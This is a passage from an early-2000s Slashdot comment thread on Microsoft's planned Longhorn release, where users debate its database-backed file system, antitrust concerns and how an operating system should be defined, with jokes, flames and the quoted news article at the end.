    4. Re:Quick Question... by heyetv · · Score: 4, Funny

      I thought it was suppose to be a better Minix than Minix...

    5. Re:Quick Question... by swb · · Score: 2

      Linus doesn't see microsoft as a compepetitor, hes said that numerous times. Linux is for linus thats it. He does't care who uses it, he isn't make a system to rival microsoft... hes making a system that he likes

      I find this statement hard to believe. I believe it was true up to maybe kernel 2.0.x, when generally used workstation features and functionality were being added. At its current state, there's so much in the kernel that Linus doesn't need or can't use its hard for me to believe that he's doing it to make something he personally likes (which implies personally uses/needs). And this is just kernel features. Development effort and coordination (see today's other story on Linus scalability) has got to be a major timesink as well, way beyond the "for me personally" stage.

      I can only conclude that further development and complexity in the kernel must serve some other need -- it may not be direct competition with MS, but it certainly can't just be because Linus personally likes it. It makes for a high-minded "ars gratia artis" kind of statement, but it also is kind of hard to swallow.

    6. Re:Quick Question... by MoneyT · · Score: 1

      As has been said, Linus cares about Linux, not about M$.

      On the otherhand, you seem to forget where every competitor has fallen. Trying to compete with windows. Look at every comany that has ever tried to compeat head on with M$ (i.e. Apple, IBM, Sun, Be) All of them failed in their attempts not because their software wasn't (or isn't for some) better, it's because they tried to market it as better than windows.

      Apple, Linus and the *NIX worlds have learned this, and SUn has learned too, don't market as a better windows, market as an alternative. M$ won the operating system war. But what they are playing catch up in now is functionality. Arguably, the other systems aren't much "better" than M$ is at making an OS (let's face it, some linux versions suck). But the fact is, these alternative systems are used because people find them more functional for getting what they need done.

      No the method for success is no longer competing with M$. It's improving your own system. That, and that alone will bring you out on top.

      --
      T Money
      World Domination with a plastic spoon since 1984
    7. Re:Quick Question... by hayden · · Score: 1

      Linus wanted Freeix (Freix? said free-ix) better than minix but who ever ran the ftp server thought that was a dumb name and called it Linux. And I think we all owe them a debt of gratitude.

      --
      Nerd: Derogatory term typically directed at anybody with a lower Slashdot ID than you.
    8. Re:Quick Question... by tunah · · Score: 2
      His singular goal is to make Linux better than Linux.

      A million years later...

      Linus: Yes! I've finally done it! Linux is brilliant! Even better than... damn. I didn't realise Linux was so good!

      --
      Free Java games for your phone: Tontie, Sokoban
  10. This could be good... by Aexia · · Score: 5, Funny
    A shared namespace would allow distributed corporate queries such as 'Find emails from Bob to Carole about ProjectX in FacilityY'.

    Just think if this were extended to the whole Internet!

    "Find pr0n featuring Traci Lord with two men wearing spandex."
    "Find l33t games with midgets in Iowa."
    "Find ripped versions of Longhorn Windows."

    1. Re:This could be good... by Anonymous+DWord · · Score: 2, Funny

      Find pr0n featuring Bill Gates with two midgets wearing ripped spandex...

      --
      "If he thinks he can hide and run from the United States and our allies, he's sorely mistaken." Bush on bin Laden
    2. Re:This could be good... by x1l · · Score: 1, Insightful

      Isn't that called google.com?

    3. Re:This could be good... by 4of12 · · Score: 2

      Yes, it could be good, since Hans Reiser makes the point of just how much the overall utility of information is in making that information more widely accessible to the fringes of access.

      That's a key insight, one that deserves to be addressed.

      The immediate practical issue with this is that

      many owners of information don't want their information accessible by a wide audience!
      which, admittedly, represents more of a psychological and personality problem than it does a problem in information technlogy. All the great file system ideas in the world won't work if people are fundamentally against the premise of more information sharing being a Good Thing.

      Indeed, one could argue that more research is probably being funded into ways of restricting information access than devising filesystems to make widespread information access more efficient. Why? Well, because restricting the free flow of information is a policy that is more closely aligned with the current revenue models of important content copyright holders.

      You watch. Longhorn will have some improved technology in the filesystem to make information queries more efficient, but everyone on the corporate LAN will clamp down access controls that render it effectively of no value.

      --
      "Provided by the management for your protection."
    4. Re:This could be good... by cpeterso · · Score: 1

      "Find pr0n featuring Traci Lord with two men wearing spandex."

      Is Traci Lords wearing the spandex? or are the two men? That's what I'm talking about..

    5. Re:This could be good... by Courageous · · Score: 2

      which, admittedly, represents more of a psychological and personality problem than it does a problem in information technlogy. All the great file system ideas in the world won't work if people are fundamentally against the premise of more information sharing being a Good Thing.

      In which case, we can begin with your information first: SSN, mother's maiden name, full name, date of birth, place of residence, and all of your credit card numbers. I thank you profusely in advance for your cooperation.

      LOL.

      C//

    6. Re:This could be good... by 4of12 · · Score: 2

      In which case, we can begin with your information first: SSN, mother's maiden name, full name, date of birth, place of residence, and all of your credit card numbers. I thank you profusely in advance for your cooperation.

      I've already complied! (You don't need to thank me, though.)

      All of these pieces of information you mention have been dribbled out numerous times for the most stupid of reasons and over some of the most insecure channels available and are sitting in primitive unprotected databases all over the Internet!

      [Seriously, though, your point is well taken. I was just complaining this morning to my health plan administrator about their casual use of the SSN and wanted them to use a different number. This, after some co-workers were subject to identity theft that was a direct result of someone leaking their SSNs and other information from a local health care provider.]

      I guess there's limits to information sharing. You're right. I'll try to keep secret the URL to the polygraph I'm hooked up to, as well as the URL to the electric shock collar my employer has installed as part of our new Quality Initiative.

      --
      "Provided by the management for your protection."
    7. Re:This could be good... by jelle · · Score: 2

      Didn't you know that a google was a necessary integrated part of the operating system? It's no different than a web browser, and a video editor, and a ...

      --
      --- Hindsight is 20/20, but walking backwards is not the answer.
    8. Re:This could be good... by maxpublic · · Score: 1

      "Find pr0n featuring Traci Lord with two men wearing spandex."

      Frankly, I'd rather see Traci Lords in the spandex, and not the two men.

      Max

      --
      My god carries a hammer. Your god died nailed to a tree. Any questions?
    9. Re:This could be good... by Courageous · · Score: 2

      ...as well as the URL to the electric shock collar my employer has installed as part of our new Quality Initiative

      Your employer needs to think more about carrot and less about stick. I suspect that a remotely-triggered rotating bunghole stimulator would be more motivating.

      LOL.

      C//

  11. More of the same anti-competitive practices. by fmaxwell · · Score: 1, Flamebait

    Microsoft is just up to the same old tricks. By tightly coupling their enterprise server apps to their client apps via poorly documented, proprietary interfaces, they hope to stomp competitors out of existence. They want people to rely on these proprietary features so that IS departments are forced to deploy and maintain Microsoft-only networks.

    Without government intervention, it will only get worse. The average computer user does not understand issues of inter-operability, conformance with open standards, or the dangers in adopting Microsoft proprietary formats and protocols.

    1. Re:More of the same anti-competitive practices. by EnglishTim · · Score: 2

      So let me get this straight. Just because putting a database as the filesystem backend will give them an advantage over some of their competitors, us desktop Windows users should be denied the benefits it would afford us?

    2. Re:More of the same anti-competitive practices. by 13Echo · · Score: 1

      Internet Explorer?

      It may not be a filesystem backend, but MS claims that it is part of the kernel backend.

      Same thing applies. Let's ship our product with a peice of FUD that isn't required to make it "go" but the judges won't know the difference in court.

      It's all part of the same ol' game.

    3. Re:More of the same anti-competitive practices. by Jeremi · · Score: 2

      Do you really consider being locked in to using only Microsoft's products a feature? Keep in mind that all these goodies are only "free" until the competition is dead--after that, Microsoft will make you pay, and pay, and pay again (they gotta keep up that 30%/quarter profit growth somehow)

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    4. Re:More of the same anti-competitive practices. by zangdesign · · Score: 2

      I don't consider myself locked into Microsoft's products any more than I am locked into buying a particular make of car. I use Microsoft because it works for me. I recommend it because it it has the largest selection of good quality software.

      Before you start rambling on about Open Source or Free Software:
      1) I have used Linux (until recently it was my firewall and home web server) - replacing it with FreeBSD. More agreeable licensing.
      2) I have a fundamental disagreement with RMS over his beliefs that software should be free. It conflicts with my belief that I should be allowed to charge for goods and services.
      3) The issues of privacy and security in the operating system are of great concern to me, and I agree that Microsoft has been shamefully lax in this area. I believe that this will improve in the future.

      --
      To celebrate the occasion of my 1000th post, I will post no more forever on Slashdot. Goodbye.
    5. Re:More of the same anti-competitive practices. by Codifex+Maximus · · Score: 3, Insightful

      > So let me get this straight. Just
      > because putting a database as the filesystem
      > backend will give them an advantage over some of
      > their competitors, us desktop Windows users should
      > be denied the benefits it would afford us?

      What benefits? Most Windows users don't even know what a filesystem is much less a relational filesystem. Users just want to run their stuff.

      Microsoft has a monopoly in the PC market in Operating Systems. They are using their power in one market to vie for another market. There are companies out there that would like to compete - they have families to feed, they have dreams and goals too. Shall we deny them the chance to make it by allowing a monopolist to run unchecked?

      Are you a monopolist?

      Microsoft is attempting to coopt the Applications into the Operating System i.e. tie their applications to the Windows OS so that competition is stiffled. We need firm definitions of what an Operating System and Application IS so that competition can occur and therby stimulate real innovation.

      Here is what I think would be a good start on an idea that would provide for both competition and innovation for consumers of Operating Systems:

      Define an Operating System as a kernel i.e. that single piece of code that has ultimate programmatic control over the machine and is not preemptable by any other piece of code. The running level of the kernel is to be deemed kernelspace.

      Define an Application as a client of the kernel and as receiving services provided by the kernel and that operating environment that is preemptable by the kernel and doesn't run in kernelspace is to be deemed userspace. Require interfaces between clients of the kernel and between clients and the kernel to be documented and published 6 months prior to the Operating System Producers version of same interfaces and any derivatives therof.

      Define a module or driver as a pseudo-client of the kernel OS and it's interfaces shall be documented in the same spirit as any code that runs in a particular space. When the pseudo-client/driver/module is present in the kernel i.e. loaded and running in kernelspace, it is to be considered as part of the running kernel and subject to it's benefits and responsibilities. When the pseudo-client/driver/module is running in userspace it is to be considered an application and subject to it's benefits and responsibilities.

      Whatever a competitor wants to do inside the black box of the kernel/OS, Application/client or pseudo-client/driver/module can be deemed proprietary insofar as the black-box doesn't try to communicate such proprietary data, information or interfaces between components, interfaces or running levels i.e. kernelspace and userspace.

      IANAL and I'm sure others may have better or more concise definitions but.... the definitions should be made and separation of the various pieces should be enforced as well as the publicly available documentation of their interfaces in a timely and competitive manner.

      Sorry... forgot to turn RANT on.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    6. Re:More of the same anti-competitive practices. by SerpicoWasTaken · · Score: 1

      That really isn't a good analogy. A car is pretty much self sustaining except for gas and maintenance. All cars run on gas and most maintenance can be performed at a reasonable number of garages. MS products aren't like that. They all guide you back to MS for all your needs.

    7. Re:More of the same anti-competitive practices. by fmaxwell · · Score: 3, Insightful

      Had you read the article more carefully (at all?), you would have seen the following:

      It's highly significant, as it signals a much tighter integration between Microsoft's enterprise server products and the client.

      and

      Microsoft is intent on P2P-style workgroup collaboration [that] looks seamless, with additional updates to NetMeeting built in to the OS.

      Note that they are not attempting to provide open standards that would let Lotus, RedHat, and other vendors provide compatible products. They want to force Netmeeting and other MS-proprietary products on everyone, effectively squashing competitors much as they did by integrating IE into Windows.

      Microsoft is being the 800lb. gorilla. They are ignoring the RFC process, standards committees, and everything else that made the Internet platform-independent. In fact, their goal is to force their proprietary standards on every business much as they have with the ubiquitous Microsoft Word .doc format. Now, businesses are practically required to run Word in order to inter-operate with their customers and business partners. The result is that Microsoft can now charge an exorbitant rate for Office and people still have to buy it. CompUSA is selling Office XP Professional for $579 and there is not a non-Microsoft office suite even offered for sale by them. (Don't waste my time telling me about Staroffice, 602 Software, and other packages. If they were viable alternatives, Microsoft couldn't get over $500 for their product.)

    8. Re:More of the same anti-competitive practices. by DavidJA · · Score: 2

      Keep in mind that all these goodies are only "free" until the competition is dead--after that, Microsoft will make you pay

      Can you give any examples of this? IE is still FREE, and for all intents and purposes, Netscape is dead.

    9. Re:More of the same anti-competitive practices. by DavidJA · · Score: 3, Insightful

      Define an Operating System as a kernel i.e. that single piece of code that has ultimate programmatic control over the machine and is not preemptable by any other piece of code. The running level of the kernel is to be deemed kernelspace

      My definition of an OS is slightly different:

      Define an OS as a kernel and set of related code that provides a set of base level services which application developers can leverage as they need.

      For example; web serving; RDBMS; SMTP service; HTML rendering engine. (note; not nessaseraly a web browser; just a set of DLLS that provide standards based HTML rendering; a third party application that leverage this rendering engine to make a complete browser; like Quatz is for Mac OSx)

      By your definition, to get the same features that I get out of my $300 copy of WIn2k Server, I would have to purchase; A Kernel (os); a window manager; a dhcp server; a wins server; a web server; a mac server; a file sharing server; a print server; a web browser... and the list goes on!

      ...and would I be forced to purchase these from seperate companies? How does this affect distributions liek RedHat?

    10. Re:More of the same anti-competitive practices. by junkpunch · · Score: 1

      So, you are saying we should make a firm definition of an OS, and LIMIT what it can do. How is that supposed to increase innovation?

    11. Re:More of the same anti-competitive practices. by Codifex+Maximus · · Score: 2

      > So, you are saying we should make a firm
      > definition of an OS, and LIMIT what it can do. How
      > is that supposed to increase innovation?

      I don't recall my suggestions LIMITING what a Kernel/OS/Non-Preemptable entity could do. If a webserver were to be designed as a pseudo-client/module/driver and it ran in kernelspace then it would be considered part of the running kernel. The interfaces between the pseudo-client/module/driver and the Kernel/OS and any other kernelspace or userspace code would need to be documented. How is that limiting what an OS can do?

      --
      Codifex Maximus ~ In search of... a shorter sig.
    12. Re:More of the same anti-competitive practices. by Codifex+Maximus · · Score: 2

      > Define an OS as a kernel and set of related code
      > that provides a set of base level services which
      > application developers can leverage as they need.

      Very vauge. What does "related" mean in the context of your statement? My whole idea was to attempt to precisely define each component and level of operation.

      > For example; web serving; RDBMS; SMTP service;
      > HTML rendering engine. (note; not nessaseraly a
      > web browser; just a set of DLLS that provide
      > standards based HTML rendering; a third party
      > application that leverage this rendering engine
      > to make a complete browser; like Quatz is for
      > Mac OSx)

      I'm not sure if I understand what you're trying to say here.

      > By your definition, to get the same features
      > that I get out of my $300 copy of WIn2k Server,
      > I would have to purchase; A Kernel (os); a
      > window manager; a dhcp server; a wins server; a
      > web server; a mac server; a file sharing server;
      > a print server; a web browser... and the list
      > goes on!

      But, you ARE purchasing all that in one big interconnected and tied together glob in Microsoft Windows. It's ties so tightly that it's almost impossible for a competitor to offer any components.

      It seems to me that Windows is a Swiss Army Knife of components. It has a knife - not the best, it has a can opener - not the best, it has a corkscrew - not the best, it likely has a saw component - once again, not the best. Now how about if you could remove the knife component and replace it with a compatible BETTER knife component? The specifications for size and connectivity of this knife component would need to be published. Maybe you don't WANT a corkscrew - with this hypothetical Swiss Army Knife, you get the corkscrew whether you want it or not AND it's cost is integrated into the cost of the amalgamated product.

      Do you like paying for tools you never use?

      > ...and would I be forced to purchase these from
      > seperate companies? How does this affect
      > distributions liek RedHat?

      You think you are not being FORCED to purchase these items from Microsoft? If so, you are lying to yourself.

      Anyway, RedHat doesn't charge money for non-proprietary software, they charge for making the CD, the manuals, marketing and for the provision of services such as support and technical assistance.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    13. Re:More of the same anti-competitive practices. by DavidJA · · Score: 2

      Very vauge. What does "related" mean in the context of your statement? My whole idea was to attempt to precisely define each component and level of operation.

      I'm sorry I did not express myself clearly. First of all, I love the way windows is distrubuted because I am one of the ones that actually use IIS, services for mac, etc, etc in Win2k Server (I use IIS for HTML print managment/HTML mail as well as serving ASP pages: all internally). If IIS might add around $5 to each copy of Win2k server, but if I had to purchase it seperatly is might cost a few hundred or even thousand dollars per copy. (look at site server)

      BUT, I do also see your point about being forced to purchase these items.

      My original point (which I did not express very well) was that maybe an OS should be defined as a set of underlying services upon which other companies could compete against.

      For example, Windows could include all the DLLS nessasery to render Word files (not just the subset that word provides); maybe a decent quality RDBMS like MSDE (cut down sql server); a HTML rendering engine (not a browser); a SMTP server; a IIS type server.

      MS would then be required to document all of these underlying services; A company could then create a full blown web browser using the inbuilt Windows HTML rendering engine.

      Another company could create a accounting packing that uses the RDBMS for storage (insted of JET)

      As part of my job I need to create some VB apps/utilities. When I need to render HTML, all I do is drop the Microsoft HTML rendering engine active X control into my app, and all HTML rendering is taken care of for me! Therefor I can concentrate on making my app work, not rewriting HTML rendering compoents.

      What I am saying is that this concept should be taken one step further; Allowing a finance package developer to use the inbuild RDBMS not having to worry about ADO or JET versions, but just knowing that a RDBMS will be there and working.

      I think you will then very quickly see an entire industry based on taking the OS's engines and adding front ends to them. (How easy would it be to create tabbed browsing when the HTML rendering is included!)

    14. Re:More of the same anti-competitive practices. by junkpunch · · Score: 1

      Perhaps I misunderstood. In your earlier post your said

      Microsoft is attempting to coopt the Applications into the Operating System

      Based on what you said above, if MS designed Word or IIS to run in kernelspace, that would then be OK with you? Perhaps I am not understanding.

    15. Re:More of the same anti-competitive practices. by Codifex+Maximus · · Score: 2

      I said:
      >> Microsoft is attempting to coopt the
      >> Applications into the Operating System

      You said:
      > Based on what you said above, if MS designed
      > Word or IIS to run in kernelspace, that would
      > then be OK with you? Perhaps I am not
      > understanding.

      Microsoft's definition of the Operating System is likely different from mine. Maybe yours too.

      If Microsoft wants to put Word or IIS into kernelspace then that is their prerogative; however, by my stipulation, they'd have to document the interfaces to those components so that interoperation with competitor's components would be possible. If Microsoft wanted to make Word or IIS integral to the kernel then that would be OK too as long as the interfaces were made public - interfaces might include any communication mechanism between processes and components.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    16. Re:More of the same anti-competitive practices. by junkpunch · · Score: 1

      I guess I thought the point of your original post was that MS had a monopoly, they were adding things to the OS, and that was bad because other people could not compete. Correct?

      If so, then what you suggest above does not help that situation at all. If they integrated IIS into the kernel, wouldn't that make things worse for other companies trying to sell a web server?

    17. Re:More of the same anti-competitive practices. by pmz · · Score: 1

      RedHat is simply consolodating software that is already offered by many different people/companies. There is nothing stopping you from assembling your own Linux-based system from scratch, if you wish. There is nothing stopping you from choosing alternative kernels, either. The free-UNIX world is one of mix-and-match to your hearts desire, and no one will force upon you a fixed set of software offerings like Micro$oft's.

    18. Re:More of the same anti-competitive practices. by Codifex+Maximus · · Score: 2

      > My original point (which I did not express very
      > well) was that maybe an OS should be defined as
      > a set of underlying services upon which other
      > companies could compete against.

      The definition of the OS is EXACTLY what I was attempting to accomplish.

      I see that as an application developer, you wish to have certain canned functionality available to you. I believe you should have your choice of canned functionality. You may wish to drop-in Gekko rather than IE html renderer.

      > For example, Windows could include all the DLLS
      > nessasery to render Word files (not just the
      > subset that word provides); maybe a decent
      > quality RDBMS like MSDE (cut down sql server); a
      > HTML rendering engine (not a browser); a SMTP
      > server; a IIS type server.

      > MS would then be required to document all of
      > these underlying services; A company could then
      > create a full blown web browser using the
      > inbuilt Windows HTML rendering engine.

      > Another company could create a accounting
      > packing that uses the RDBMS for storage (insted
      > of JET)

      > As part of my job I need to create some VB
      > apps/utilities. When I need to render HTML, all
      > I do is drop the Microsoft HTML rendering engine
      > active X control into my app, and all HTML
      > rendering is taken care of for me! Therefor I
      > can concentrate on making my app work, not
      > rewriting HTML rendering compoents.

      > What I am saying is that this concept should be
      > taken one step further; Allowing a finance
      > package developer to use the inbuild RDBMS not
      > having to worry about ADO or JET versions,
      > but just knowing that a RDBMS will be there and
      > working.

      > I think you will then very quickly see an entire
      > industry based on taking the OS's engines and
      > adding front ends to them. (How easy would it be
      > to create tabbed browsing when the HTML
      > rendering is included!)

      I see you as wanting an Application Framework rather than an Operating System. An Application Framework could be made portable to other Operating Systems (and has) rather than tying it to a particular Operating System and or underlying hardware architecture.

      I propose that we separate the underlying Operating System Kernel and kernelspace processes from the userspace applications and their frameworks.

      If Microsoft wishes to take the whole or part of the Application Framework into kernelspace then let them - as long as the interfaces are documented so that drop-in replacements are possible for competitors to produce AND competitors are not prohibited from creating competing frameworks.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    19. Re:More of the same anti-competitive practices. by DavidJA · · Score: 2

      The free-UNIX world is one of mix-and-match to your hearts desire, and no one will force upon you a fixed set of software offerings like Micro$oft's.

      EXACTLY; When the software is FREE this model works well, but if I had to pay for my Win2k Kernel, my Service For Mac, my IIS, my browser, my File Sharing services etc, etc it simply would not work! No one would buy windows

      I wish people stop trying to apply the free software distribution model to windows software.

    20. Re:More of the same anti-competitive practices. by sheldon · · Score: 2

      "...and would I be forced to purchase these from seperate companies?"

      Yes, that is their general attitude.

      I recall having to buy MS-DOS 6.0 for $50, Windows 3.1 for $100, QEMM for another $40, LANtastic for $90, etc. back in 1994.

      Then Windows 95 came out and I replaced all of that software with a $90 package. I also had improved performance, fewer compatibility problems, etc.

      Your example of Win2k is similar.

      " How does this affect distributions liek RedHat?"

      Oh no, you see this doesn't apply to RedHat, only to Microsoft.

    21. Re:More of the same anti-competitive practices. by Codifex+Maximus · · Score: 2

      > I guess I thought the point of your original post
      > was that MS had a monopoly, they were adding
      > things to the OS, and that was bad because other
      > people could not compete. Correct?

      > If so, then what you suggest above does not help
      > that situation at all. If they integrated IIS into
      > the kernel, wouldn't that make things worse for
      > other companies trying to sell a web server?

      Yep, but we can't keep Microsoft from moving things into kernelspace - at least I don't know of a way and I'd probably oppose such prohibition. Which means we may need a better definition of Operating System and Applications than whether or not one or the other runs in kernelspace.

      It's a fine line I agree and very hard to define. The main thing is to have the interfaces between components documented so that drop-in replacements would be possible.
      The more I think about it the more I begin to believe that Windows is not an OS per se but an Application Framework integrated into an OS.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    22. Re:More of the same anti-competitive practices. by DavidJA · · Score: 2

      I see you as wanting an Application Framework rather than an Operating System. An Application Framework could be made portable to other Operating Systems (and has) rather than tying it to a particular Operating System and or underlying hardware architecture.

      Totally agree with you, exept the application framework would have to given away free with the 'OS', so everyone had it.

      As you say, it should also be extensable, EG; someone should be able to replace the inbuilt HTML renderer with something like Geko that even supported PDF rendering (aka Quartz)

      Now if only we can convence Microsoft!

    23. Re:More of the same anti-competitive practices. by junkpunch · · Score: 1

      The more I think about it the more I begin to believe that Windows is not an OS per se but an Application Framework integrated into an OS.

      I agree. I think they should have started calling it the "Windows Platform" a long time ago.

    24. Re:More of the same anti-competitive practices. by fmaxwell · · Score: 2

      What a dumb comment.

      I'm far more intelligent than you are. And you were kind enough to provide plenty of evidence to support that statement.

      You're completely leaving out the fact that most people dont even know anything else is available, once again thanks to MS.

      How is this "thanks to MS"? Sun has made the availability of StarOffice known. There have been columns about 602 Software's office suite in national magazines. Just what has Microsoft done to prevent information about these products from getting out?

      If you'd ever even bothered to try 602 Office or the new Openoffice builds, (or by holy merciful god TeX) you'd want to retract this statement.

      There you go talking out of your ass again. I have, installed on the very system I'm using to compose this, both 602Pro PC Suite 2001 and StarOffice 6.0 beta. I've used both of them and they simply are not viable solutions for most businesses. I have found Word documents and Excel spreadsheets that simply don't "work". I've seen formatting problems on both word processors. I've exported work and seen problems rendering it under Word.

      Plus you ignore the fact that the only applications for which 602 Software even attempts to provide an equivalent are Word and Excel. What about PowerPoint? What about Outlook? What about Access, FrontPage, or any of the other apps available under the Office family of products?

      If businesses around the country could use a free or nearly free software package in place of Microsoft Office, they would do so in a minute. But if a vendor, customer, or business partner collaborates with you on a document, you need complete compatability. You can't have page breaks that don't line up. You can't have bullets that are the wrong shape and size. You can't just ignore Powerpoint documents.

      Next time don't jump to conclusions.

    25. Re:More of the same anti-competitive practices. by lsdino · · Score: 1

      Totally agree with you, exept the application framework would have to given away free with the 'OS', so everyone had it.

      As you say, it should also be extensable, EG; someone should be able to replace the inbuilt HTML renderer with something like Geko that even supported PDF rendering (aka Quartz)

      Now if only we can convence Microsoft!

      The thing about this is that Microsoft has already been convinced. If you want to replace the IE HTML rendering engine ("MSHTML") all the interfaces are defined. All you gotta do is write your own HTML parser and implement the same interfaces. From this page it looks like MSHTML's CLSID is 3050f4f8-98b5-11cf-bb82-00aa00bdce0b - replace this in the registry and point it at your own rendering engine and it should be used system wide. Now, IE probably doesn't use COM to talk to MSHTML (although who knows, it might), but you should be able to get a signifigant amount of stuff replaced with it...

      I know I'm going to get flamed for this, but a lot of Slashdotters don't seem to understand COM. COM interfaces *DON'T CHANGE*. They STAY THE SAME - VERSION AFTER VERSION. If you want to change a COM interface you have to implement a new version of the interface, with a completely different CLSID. So you don't even have to worry about Microsoft "breaking" these at some future point, 'cuz they're set in stone (as much as any software can, of course).

    26. Re:More of the same anti-competitive practices. by fferreres · · Score: 1

      He is not talking about the distribution of the named Operating System. You could have the Windows distro that will use everything MS wants. But then again, everyon else on earth will have a chance of making a competitive alternative.

      Everyone will know what the new Kernel brings and how it works. No monopolic advantage to the MS Distro (ie: MS Kernel + Applications + Services).

      That would be a fair ground for everyone. Not only that, Microsoft could make a lot of GENUINE revenues, everyone would have to license the kernel. But at least you wont have this monopolistic rape inflinged on Americans and their companies (mostly every other country pirates what they need at a large extent).
      Moreover, if their kernel sucks, they lose market against other kernel producers. But their applications (which mostly everyone find usefull) will earn them money as long as it's what the consumer wants.

      --
      unfinished: (adj.)
    27. Re:More of the same anti-competitive practices. by Alex+Belits · · Score: 2

      I've seen formatting problems on both word processors. I've exported work and seen problems rendering it under Word.

      INSTALL THE FONTS THAT WERE USED WHEN DOCUMENTS WERE COMPOSED!!!

      Grrr... How many times do I have to tell people that? Microsoft formats (as opposed to, say, TeX) are completely enslaved to font sizes, so any kind of fallback font causes formatting problems simply because it's not the same size. What does everybody expect, that TrueType Arial will magically appear on every X server without a sysadmin bothering to install it?

      What about PowerPoint?

      Same as with Word

      What about Outlook?

      Masochists that need Outlook-like interface and bloat reproduced to the finest details, are welcome to use Evolution, everyone else can use pine or mutt -- I do.

      What about Access, FrontPage, or any of the other apps available under the Office family of products?

      Those apps should not exist in the first place.

      You haven't actually used anything but Office for longer than it takes to read a Microsoft ad in a glossy magazine, did you?

      --
      Contrary to the popular belief, there indeed is no God.
    28. Re:More of the same anti-competitive practices. by EnglishTim · · Score: 2

      What benefits? Most Windows users don't even know what a filesystem is much less a relational filesystem. Users just want to run their stuff.


      Users *will* notice the difference because they'll be able to find their stuff more easily. If you're not used to sorting your data hierarchically, working out where you put your documents can be very tricky. If the filesystem is essentially a database, the OS can be a lot better at finding your files for you.

      I *want* the future versions of Windows that I use to have a database-style filesystem. I *don't want* Microsoft to be prevented from adding this useful functionality because a few of their competitors are whining.

    29. Re:More of the same anti-competitive practices. by fmaxwell · · Score: 2

      INSTALL THE FONTS THAT WERE USED WHEN DOCUMENTS WERE COMPOSED!!!

      You are an idiot. I'm comparing Office to StarOffice and 602Pro PC Suite on the exact same machine. I can go from one to the other and find problems with indentation, bullet sizes and shapes, line breaks, footnote formatting, etc. It has nothing to do with fonts.

      Grrr... How many times do I have to tell people that? Microsoft formats (as opposed to, say, TeX) are completely enslaved to font sizes, so any kind of fallback font causes formatting problems simply because it's not the same size. What does everybody expect, that TrueType Arial will magically appear on every X server without a sysadmin bothering to install it?

      What in the f*** are you talking about? 602 Software is a Windows package. You're blathering on in here trying to impress everyone with your technical savvy and you don't even know what platform the office suite runs on.

      What about PowerPoint?

      Same as with Word


      There is no Powerpoint equivalent included with 602 Software. That's the point. The business world uses Powerpoint and you have to be able to exchange documents with other firms. That means that, at the least, an office that has standardized on 602 Software's PC Suite is going to have to buy Powerpoint.

      What about Access, FrontPage, or any of the other apps available under the Office family of products?

      Those apps should not exist in the first place.


      Great. So I'm supposed to tell my clients, vendors, and business partners to go f*** themselves if they have standardized on any of those apps.

      You haven't actually used anything but Office for longer than it takes to read a Microsoft ad in a glossy magazine, did you?

      I've been a professional software engineer since 1980 and have used dozens of word processors and spreadsheets on everything from CPM/80 to Windows to Linux -- and a whole lot of other OSs that you probably haven't even hear of. You, on the other hand, sound like some snot-nosed, know-it-all little shit that probably hasn't even finished school yet.

      After you get five or ten years in the real world, come back and chat with me again.

  12. This is an insult! by TheAngryArmadillo · · Score: 3, Offtopic


    Naming their new OS 'Longhorn' is an affront to all UT grads everywhere!

    Can't they call it 'Aggie' or something?

    AngryArmadillo

    1. Re:This is an insult! by llywrch · · Score: 1, Offtopic

      > Naming their new OS 'Longhorn' is an affront to all UT [utexas.edu] grads everywhere!
      >
      > Can't they call it 'Aggie' or something?

      I can't imagine how this would be considered ``Flamebait". But then, I'm not from Texas, so I have no passion invested in this historic rivalry.

      Geoff

      --
      I think I see a trend here. Maybe for them it really would be easier to muzzle the entire internet than to produce p
    2. Re:This is an insult! by CmdrSanity · · Score: 5, Informative

      Incidentally, the code names are taken from a Canadian ski resort about 4-5 hours drive north of the MS campus. So if you ever go to Whistler mountain, look out for the blackcomb resort and longhorn saloon.

    3. Re:This is an insult! by donutello · · Score: 2

      The original plan was to have Whistler followed by Blackcomb. When plans changed and they wanted to have a release in between the two, they decided to codename it Longhorn, which is the name of the saloon in between Whistler and Longhorn.

      --
      Mmmm.. Donuts
    4. Re:This is an insult! by apio · · Score: 1

      Naming the UT grads 'Longhorn' is an insult to the 'Longhorn' breed of cows everywhere! Can't they call themselves something else?

      --

      >
      'There is no intellectual exercise that is not ultimately useless' - Jorge Luis Borges
      >
    5. Re:This is an insult! by Afrosheen · · Score: 2

      Do they have lots of avalanches there?

    6. Re:This is an insult! by ay2b · · Score: 1

      Actually the name comes from a bar/restaurant in Canada. There's a ski resort, with two mountains - Whistler and Blackcomb - and Longhorn is the name of the bar in the resort between them.

      --
      "Those who would sacrifice essential liberty for temporary safety deserve neither liberty nor safety."
  13. Article Text by Anonymous Coward · · Score: 2, Redundant

    XP successor Longhorn goes SQL, P2P - Microsoft leaks
    By Andrew Orlowski in San Francisco
    Posted: 28/01/2002 at 21:58 GMT

    Sources close to Microsoft confirm that The Beast is set to include a new relational file store at the core of its next version of Windows. Some roadmap slippage has apparently occurred, too, as the database core will be introduced into Longhorn, and Blackcomb has been pushed further back. That leaves a gap for a point revision of XP next year, although there's no sign of this on the roadmap just yet. Despite the annual revisions being named as users' number one bugbear, Microsoft hasn't let a year go by without releasing a new version of Windows since 1997, when it was fighting the browser wars.

    The final feature set for Longhorn - the codename for the successor to Windows XP - hasn't been nailed down yet, and the database core had been rumored for inclusion in Blackcomb, the next Windows after Longhorn.

    It's highly significant, as it signals a much tighter integration between Microsoft's enterprise server products and the client.

    As Jon Honeyball wrote here last May - but it's still the most comprehensive dissection of the change - file systems would become plug-ins for a raw, native relational data store.

    We don't yet know if this runs in user land, or kernel mode.

    Peep to Peep
    Microsoft will also offer a new peer-to-peer networking feature, say sources briefed by The Beast. A new "sub-workgroup" network level - a subset of the current "workgroup" - offers a finer granularity of network access for ad hoc collaboration. Microsoft is intent on P2P-style workgroup collaboration looks seamless, with additional updates to NetMeeting built in to the OS.

    (Microsoft took a $51 million stake in P2P pin-up Groove Networks, the company started by Lotus Notes creator Ray Ozzie, last year).

    The demonstration version of Longhorn currently being demoed to Microsoft's teams and selected third parties displays a new type of task dock that can include everything from stock tickers to work group collaboration features. The task dock is similar to what is found in Office XP with the tasks panels. That's the pane in Office XP that provides a list of most recently used files, or clipboard entries, or other frequently-accessed features.

